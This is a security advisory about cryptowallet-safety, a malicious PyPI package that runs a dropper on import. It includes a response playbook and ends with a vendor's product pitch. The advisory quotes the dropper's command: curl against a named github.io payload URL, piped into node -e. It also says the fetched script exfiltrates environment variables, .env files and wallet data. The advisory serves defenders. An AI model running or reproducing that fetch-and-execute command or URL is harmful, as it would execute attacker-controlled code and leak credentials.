cryptowallet-safetyPyPI
Advisory published Updated
cryptowallet-safety is a confirmed malicious PyPI package (MAL-2026-4259) that steals credentials and exfiltrates sensitive data (malicious version 0.1.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in cryptowallet-safety (PyPI)
What this malware does
On import cryptowallet_safety, the top-level __init__.py (lines 13-21) shells out to curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js and pipes the response body directly into node -e for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as pip download / pip wheel / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys.
During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.

Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for cryptowallet-safety (version 0.1.0).
If you installed it — respond
cryptowallet-safety is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cryptowallet-safety was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks cryptowallet-safety-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
